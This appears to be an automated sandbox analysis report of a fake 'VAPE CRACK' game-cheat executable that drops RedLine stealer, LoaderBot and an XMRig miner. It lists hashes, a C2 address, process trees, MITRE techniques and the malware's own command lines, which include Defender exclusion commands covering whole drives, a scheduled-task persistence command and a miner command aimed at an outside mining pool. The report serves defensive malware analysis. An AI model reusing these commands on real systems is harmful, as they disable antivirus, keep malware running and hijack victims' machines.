loaderbot | 914644da1b2f5c041a3199411b353f3c8e5b7e965399ac015bbc6c5286da7a7e

Analysis

max time kernel
146s
max time network
131s
platform
windows10_x64
resource
win10-en-20211014
submitted
23-10-2021 17:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

VAPE CRACK.exe
Size

7.3MB
MD5

c884991c01d2854cd2d9b46f792207fc
SHA1

3f1549e8aaea2119361caa588d47de42aab0dc47
SHA256

914644da1b2f5c041a3199411b353f3c8e5b7e965399ac015bbc6c5286da7a7e
SHA512

0fade5bc588ea78f9dc589ca2c1223ae6141e6eae3af92a7d660f5343ebfb798b6de1c6011f52061ef2a2cc29800615420dbaaa68b7fac3f10b6a0a0a6da9669

Score

10^/10

loaderbot redline xmrig @zenvolord infostealer loader miner persistence spyware vmprotect

Malware Config

Extracted

Family

redline

Botnet

@zenvolord

185.209.22.181:29234

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1216-130-0x0000000000550000-0x000000000056E000-memory.dmp	family_redline
behavioral2/memory/1216-135-0x0000000000569A5E-mapping.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 3756 created 3684 3756 WerFault.exe VAPE V4.exe
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

description	pid	process	target process
PID 3756 created 3684	3756	WerFault.exe	VAPE V4.exe

XMRig Miner Payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe	xmrig
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe	xmrig

Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

dllhost.exeVAPE V4.exeDriver.exebuild.exeservices32.exesihost32.exe

pid process

1868 dllhost.exe
3684 VAPE V4.exe
1280 Driver.exe
656 build.exe
2756 services32.exe
1636 sihost32.exe

pid	process
1868	dllhost.exe
3684	VAPE V4.exe
1280	Driver.exe
656	build.exe
2756	services32.exe
1636	sihost32.exe

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\build.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\build.exe	vmprotect
C:\Users\Admin\services32.exe	vmprotect
C:\Users\Admin\services32.exe	vmprotect

Drops startup file 1 IoCs

Processes:

dllhost.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url dllhost.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	dllhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\dllhost.exe"	dllhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

dllhost.exe

pid process

1868 dllhost.exe
1868 dllhost.exe
1868 dllhost.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

VAPE V4.exe

description pid process target process

PID 3684 set thread context of 1216 3684 VAPE V4.exe AppLaunch.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3756 3684 WerFault.exe VAPE V4.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

488 schtasks.exe

pid	process
1868	dllhost.exe
1868	dllhost.exe
1868	dllhost.exe

description	pid	process	target process
PID 3684 set thread context of 1216	3684	VAPE V4.exe	AppLaunch.exe

pid	pid_target	process	target process
3756	3684	WerFault.exe	VAPE V4.exe

pid	process
488	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

Processes:

VAPE V4.exeWerFault.exedllhost.exeAppLaunch.exebuild.execonhost.exepowershell.exepowershell.exeservices32.execonhost.exepowershell.exepowershell.exe

pid	process
3684	VAPE V4.exe
3684	VAPE V4.exe
3684	VAPE V4.exe
3684	VAPE V4.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
3756	WerFault.exe
1868	dllhost.exe
1868	dllhost.exe
1868	dllhost.exe
1868	dllhost.exe
1868	dllhost.exe
1868	dllhost.exe
1216	AppLaunch.exe
656	build.exe
656	build.exe
2392	conhost.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2756	services32.exe
2756	services32.exe
3640	conhost.exe
3640	conhost.exe
2952	powershell.exe
2952	powershell.exe
2952	powershell.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

dllhost.exeWerFault.exeDriver.exeAppLaunch.execonhost.exepowershell.exepowershell.execonhost.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1868	dllhost.exe
Token: SeRestorePrivilege	3756	WerFault.exe
Token: SeBackupPrivilege	3756	WerFault.exe
Token: SeDebugPrivilege	3756	WerFault.exe
Token: SeLockMemoryPrivilege	1280	Driver.exe
Token: SeLockMemoryPrivilege	1280	Driver.exe
Token: SeDebugPrivilege	1216	AppLaunch.exe
Token: SeDebugPrivilege	2392	conhost.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe
Token: 34	2160	powershell.exe
Token: 35	2160	powershell.exe
Token: 36	2160	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeIncreaseQuotaPrivilege	2568	powershell.exe
Token: SeSecurityPrivilege	2568	powershell.exe
Token: SeTakeOwnershipPrivilege	2568	powershell.exe
Token: SeLoadDriverPrivilege	2568	powershell.exe
Token: SeSystemProfilePrivilege	2568	powershell.exe
Token: SeSystemtimePrivilege	2568	powershell.exe
Token: SeProfSingleProcessPrivilege	2568	powershell.exe
Token: SeIncBasePriorityPrivilege	2568	powershell.exe
Token: SeCreatePagefilePrivilege	2568	powershell.exe
Token: SeBackupPrivilege	2568	powershell.exe
Token: SeRestorePrivilege	2568	powershell.exe
Token: SeShutdownPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeSystemEnvironmentPrivilege	2568	powershell.exe
Token: SeRemoteShutdownPrivilege	2568	powershell.exe
Token: SeUndockPrivilege	2568	powershell.exe
Token: SeManageVolumePrivilege	2568	powershell.exe
Token: 33	2568	powershell.exe
Token: 34	2568	powershell.exe
Token: 35	2568	powershell.exe
Token: 36	2568	powershell.exe
Token: SeDebugPrivilege	3640	conhost.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeIncreaseQuotaPrivilege	2952	powershell.exe
Token: SeSecurityPrivilege	2952	powershell.exe
Token: SeTakeOwnershipPrivilege	2952	powershell.exe
Token: SeLoadDriverPrivilege	2952	powershell.exe
Token: SeSystemProfilePrivilege	2952	powershell.exe
Token: SeSystemtimePrivilege	2952	powershell.exe
Token: SeProfSingleProcessPrivilege	2952	powershell.exe
Token: SeIncBasePriorityPrivilege	2952	powershell.exe
Token: SeCreatePagefilePrivilege	2952	powershell.exe
Token: SeBackupPrivilege	2952	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

dllhost.exe

pid process

1868 dllhost.exe

pid	process
1868	dllhost.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

VAPE CRACK.exeVAPE V4.exedllhost.exeAppLaunch.exebuild.execonhost.execmd.execmd.execmd.exeservices32.execonhost.execmd.exesihost32.exe

description	pid	process	target process
PID 2828 wrote to memory of 1868	2828	VAPE CRACK.exe	dllhost.exe
PID 2828 wrote to memory of 1868	2828	VAPE CRACK.exe	dllhost.exe
PID 2828 wrote to memory of 1868	2828	VAPE CRACK.exe	dllhost.exe
PID 2828 wrote to memory of 3684	2828	VAPE CRACK.exe	VAPE V4.exe
PID 2828 wrote to memory of 3684	2828	VAPE CRACK.exe	VAPE V4.exe
PID 2828 wrote to memory of 3684	2828	VAPE CRACK.exe	VAPE V4.exe
PID 3684 wrote to memory of 1216	3684	VAPE V4.exe	AppLaunch.exe
PID 3684 wrote to memory of 1216	3684	VAPE V4.exe	AppLaunch.exe
PID 3684 wrote to memory of 1216	3684	VAPE V4.exe	AppLaunch.exe
PID 3684 wrote to memory of 1216	3684	VAPE V4.exe	AppLaunch.exe
PID 3684 wrote to memory of 1216	3684	VAPE V4.exe	AppLaunch.exe
PID 1868 wrote to memory of 1280	1868	dllhost.exe	Driver.exe
PID 1868 wrote to memory of 1280	1868	dllhost.exe	Driver.exe
PID 1216 wrote to memory of 656	1216	AppLaunch.exe	build.exe
PID 1216 wrote to memory of 656	1216	AppLaunch.exe	build.exe
PID 656 wrote to memory of 2392	656	build.exe	conhost.exe
PID 656 wrote to memory of 2392	656	build.exe	conhost.exe
PID 656 wrote to memory of 2392	656	build.exe	conhost.exe
PID 2392 wrote to memory of 1784	2392	conhost.exe	cmd.exe
PID 2392 wrote to memory of 1784	2392	conhost.exe	cmd.exe
PID 1784 wrote to memory of 2160	1784	cmd.exe	powershell.exe
PID 1784 wrote to memory of 2160	1784	cmd.exe	powershell.exe
PID 2392 wrote to memory of 2316	2392	conhost.exe	cmd.exe
PID 2392 wrote to memory of 2316	2392	conhost.exe	cmd.exe
PID 2316 wrote to memory of 488	2316	cmd.exe	schtasks.exe
PID 2316 wrote to memory of 488	2316	cmd.exe	schtasks.exe
PID 1784 wrote to memory of 2568	1784	cmd.exe	powershell.exe
PID 1784 wrote to memory of 2568	1784	cmd.exe	powershell.exe
PID 2392 wrote to memory of 2208	2392	conhost.exe	cmd.exe
PID 2392 wrote to memory of 2208	2392	conhost.exe	cmd.exe
PID 2208 wrote to memory of 2756	2208	cmd.exe	services32.exe
PID 2208 wrote to memory of 2756	2208	cmd.exe	services32.exe
PID 2756 wrote to memory of 3640	2756	services32.exe	conhost.exe
PID 2756 wrote to memory of 3640	2756	services32.exe	conhost.exe
PID 2756 wrote to memory of 3640	2756	services32.exe	conhost.exe
PID 3640 wrote to memory of 1236	3640	conhost.exe	cmd.exe
PID 3640 wrote to memory of 1236	3640	conhost.exe	cmd.exe
PID 1236 wrote to memory of 2952	1236	cmd.exe	powershell.exe
PID 1236 wrote to memory of 2952	1236	cmd.exe	powershell.exe
PID 3640 wrote to memory of 1636	3640	conhost.exe	sihost32.exe
PID 3640 wrote to memory of 1636	3640	conhost.exe	sihost32.exe
PID 1236 wrote to memory of 2160	1236	cmd.exe	powershell.exe
PID 1236 wrote to memory of 2160	1236	cmd.exe	powershell.exe
PID 1636 wrote to memory of 2756	1636	sihost32.exe	conhost.exe
PID 1636 wrote to memory of 2756	1636	sihost32.exe	conhost.exe
PID 1636 wrote to memory of 2756	1636	sihost32.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\VAPE CRACK.exe
"C:\Users\Admin\AppData\Local\Temp\VAPE CRACK.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2828

C:\Users\Admin\AppData\Local\Temp\dllhost.exe
"C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1868

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48VqBvWwx4DFvegwZp7dE7WpBeYWhdaZUF8BiWc6HdwsP89dK2tiqnHSuyyBjeSn9cZ2ZCMrVrVDkAhGNvCC44DKL2zvQn1 -p x -k -v=0 --donate-level=1 -t 1
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1280

C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe
"C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1216

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:656

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\build.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:1784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:2316

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
7⤵
- Creates scheduled task(s)
PID:488

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\services32.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:2208

C:\Users\Admin\services32.exe
C:\Users\Admin\services32.exe
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
9⤵
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
10⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
10⤵
- Suspicious behavior: EnumeratesProcesses
PID:2160

C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "/sihost32"
10⤵
PID:2756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3684 -s 256
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3756

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
MD5
84f2160705ac9a032c002f966498ef74

SHA1
e9f3db2e1ad24a4f7e5c203af03bbc07235e704c

SHA256
7840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93

SHA512
f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
b027441058941c1c714e8666227bc20b

SHA1
60898f8a090874665582f28b0e4d770f7c2c3a83

SHA256
a4a68fe0bbe94d1b5f0cc9ead3b054993c81afd1d29df6a721a60d1fd26b9f7e

SHA512
ffbb4436e374956f70783755ac4bce1012298b8cb87dd978ce13bb8b199d5d7f42bad88f3508e9544800b4886a5106a1dfdc5fe005ed8f7e1bb405a70862157b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
8183d557c0b46a51d577de23e18e6e9d

SHA1
e0600ae4a206a8fa996b01ce27f6f8b1101c40a2

SHA256
9ef18faf5b4b836175832a2313e1b578d4c6e33dd45cea64402e8e81160b9f25

SHA512
015573c64b4e4d0879293487245d7e27e650b29ba8450322481b9b1785caecad0d266d17553777fc0003d442e51f0ace82e967782cf35b37b6e71980bb982314

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
f6fded2df48d9ecee37a97248497caf0

SHA1
7ecb42f918ec87ad9b74894d9cb2a59608db0b5e

SHA256
90278f76751be2529d1bc5f5f35f98126b36bd49db743e76a94390d9f3bd84d6

SHA512
57b02712ef240c3165df2d64be437a3f16f16e27f7e042d1dcab3b9978f6a652c1405d921ae7d9d0963e4a55889f21d22132bef61f88739839c464fd36fe9bb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe
MD5
eda712f5cca6547e36d2937b9d89fad0

SHA1
fb036b0995196539788ad0bcbce0bbb8d2db448e

SHA256
860eabc945b4a99255e1bdbcfcc19a6ebf605612d809678ecd329e6f17c4f961

SHA512
5ba2ea554cd25c2931a56bfdfd20da2c064c316841d5506178e44591fd67d356595a8a1d8243df753d2691de3e4e9b6bdeb6b979cbc72894f03c07b048aad6a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe
MD5
eda712f5cca6547e36d2937b9d89fad0

SHA1
fb036b0995196539788ad0bcbce0bbb8d2db448e

SHA256
860eabc945b4a99255e1bdbcfcc19a6ebf605612d809678ecd329e6f17c4f961

SHA512
5ba2ea554cd25c2931a56bfdfd20da2c064c316841d5506178e44591fd67d356595a8a1d8243df753d2691de3e4e9b6bdeb6b979cbc72894f03c07b048aad6a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\build.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
C:\Users\Admin\AppData\Local\Temp\build.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
C:\Users\Admin\AppData\Local\Temp\dllhost.exe
MD5
d3b312dc4459edae7159835bcd374b9f

SHA1
c4005eeae71227993aa8ddb05ef0fb0816568c25

SHA256
4b515944cfb60f4fa648b09cd4f2556c3d77c381189f5e85fd6b6d9e20a974fd

SHA512
019b87178e7051970b9868e37343e25e8a5875356b1a7053fee9eb80ff707195d06b8eae35faba066edfc463628f3298368964ab19a49e81d43c7a7fb2b29786

Download Submit
C:\Users\Admin\AppData\Local\Temp\dllhost.exe
MD5
d3b312dc4459edae7159835bcd374b9f

SHA1
c4005eeae71227993aa8ddb05ef0fb0816568c25

SHA256
4b515944cfb60f4fa648b09cd4f2556c3d77c381189f5e85fd6b6d9e20a974fd

SHA512
019b87178e7051970b9868e37343e25e8a5875356b1a7053fee9eb80ff707195d06b8eae35faba066edfc463628f3298368964ab19a49e81d43c7a7fb2b29786

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
MD5
2377a426e5329ce23fb1567f4841931b

SHA1
3d82d8c29d942ebe46cfc15a387ae9270dfd4708

SHA256
f939428602b60db8a97d7d2ad604c803487d6dfbbc9e760a4d948ad94c0e20d2

SHA512
1a0159695452841c46d260f5d3711939ba0c7e22dbf4b3b783d0241ffd807e4de0feb3e00964b23e49f656dac9520a5cfd71a911bfa6be7ed470c53476a4db6d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
MD5
2377a426e5329ce23fb1567f4841931b

SHA1
3d82d8c29d942ebe46cfc15a387ae9270dfd4708

SHA256
f939428602b60db8a97d7d2ad604c803487d6dfbbc9e760a4d948ad94c0e20d2

SHA512
1a0159695452841c46d260f5d3711939ba0c7e22dbf4b3b783d0241ffd807e4de0feb3e00964b23e49f656dac9520a5cfd71a911bfa6be7ed470c53476a4db6d

Download Submit
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
MD5
4eef3a16234b50ad80f46b0928ec125d

SHA1
1dfc138538234f09bec31bebc2645733f34cc166

SHA256
9709fb3d2694cd95a4e1f26ec6ae491a6cec56cac5e69840e9ad876b1053ff5a

SHA512
311e7476596fc282d3940a702fb08c9192cb163a77a910f8b39043e39849fa7b1e48de135dcec9871871e651a5f491f06dd193ed788eadd10c63ac6678246208

Download Submit
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
MD5
4eef3a16234b50ad80f46b0928ec125d

SHA1
1dfc138538234f09bec31bebc2645733f34cc166

SHA256
9709fb3d2694cd95a4e1f26ec6ae491a6cec56cac5e69840e9ad876b1053ff5a

SHA512
311e7476596fc282d3940a702fb08c9192cb163a77a910f8b39043e39849fa7b1e48de135dcec9871871e651a5f491f06dd193ed788eadd10c63ac6678246208

Download Submit
C:\Users\Admin\services32.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
C:\Users\Admin\services32.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
memory/488-469-0x0000000000000000-mapping.dmp

Download
memory/656-436-0x00007FFAAB050000-0x00007FFAAB052000-memory.dmp

Filesize
8KB

Download
memory/656-430-0x0000000000000000-mapping.dmp

Download
memory/1216-143-0x0000000008AF0000-0x0000000008AF1000-memory.dmp

Filesize
4KB

Download
memory/1216-138-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1216-142-0x00000000089C0000-0x00000000089C1000-memory.dmp

Filesize
4KB

Download
memory/1216-144-0x0000000008A20000-0x0000000008A21000-memory.dmp

Filesize
4KB

Download
memory/1216-145-0x0000000008930000-0x0000000008F36000-memory.dmp

Filesize
6.0MB

Download
memory/1216-146-0x0000000008A60000-0x0000000008A61000-memory.dmp

Filesize
4KB

Download
memory/1216-147-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1216-135-0x0000000000569A5E-mapping.dmp

Download
memory/1216-137-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1216-136-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1216-141-0x0000000008F40000-0x0000000008F41000-memory.dmp

Filesize
4KB

Download
memory/1216-130-0x0000000000550000-0x000000000056E000-memory.dmp

Filesize
120KB

Download
memory/1216-139-0x0000000000550000-0x0000000000551000-memory.dmp

Filesize
4KB

Download
memory/1216-157-0x0000000009A50000-0x0000000009A51000-memory.dmp

Filesize
4KB

Download
memory/1216-160-0x0000000008DE0000-0x0000000008DE1000-memory.dmp

Filesize
4KB

Download
memory/1216-163-0x0000000008EC0000-0x0000000008EC1000-memory.dmp

Filesize
4KB

Download
memory/1216-162-0x0000000009550000-0x0000000009551000-memory.dmp

Filesize
4KB

Download
memory/1236-557-0x0000000000000000-mapping.dmp

Download
memory/1280-161-0x000001DD42C50000-0x000001DD42C70000-memory.dmp

Filesize
128KB

Download
memory/1280-425-0x000001DD44520000-0x000001DD44540000-memory.dmp

Filesize
128KB

Download
memory/1280-156-0x000001DD42C20000-0x000001DD42C40000-memory.dmp

Filesize
128KB

Download
memory/1280-153-0x0000000000000000-mapping.dmp

Download
memory/1636-572-0x0000000000000000-mapping.dmp

Download
memory/1784-450-0x0000000000000000-mapping.dmp

Download
memory/1868-152-0x0000000005A00000-0x0000000005A01000-memory.dmp

Filesize
4KB

Download
memory/1868-151-0x0000000005C10000-0x0000000005C11000-memory.dmp

Filesize
4KB

Download
memory/1868-128-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Filesize
4KB

Download
memory/1868-115-0x0000000000000000-mapping.dmp

Download
memory/2160-494-0x00000298EF258000-0x00000298EF259000-memory.dmp

Filesize
4KB

Download
memory/2160-633-0x0000021844CF0000-0x0000021844CF2000-memory.dmp

Filesize
8KB

Download
memory/2160-464-0x00000298EF250000-0x00000298EF252000-memory.dmp

Filesize
8KB

Download
memory/2160-465-0x00000298EF253000-0x00000298EF255000-memory.dmp

Filesize
8KB

Download
memory/2160-451-0x0000000000000000-mapping.dmp

Download
memory/2160-472-0x00000298EF256000-0x00000298EF258000-memory.dmp

Filesize
8KB

Download
memory/2160-664-0x0000021844CF8000-0x0000021844CF9000-memory.dmp

Filesize
4KB

Download
memory/2160-654-0x0000021844CF6000-0x0000021844CF8000-memory.dmp

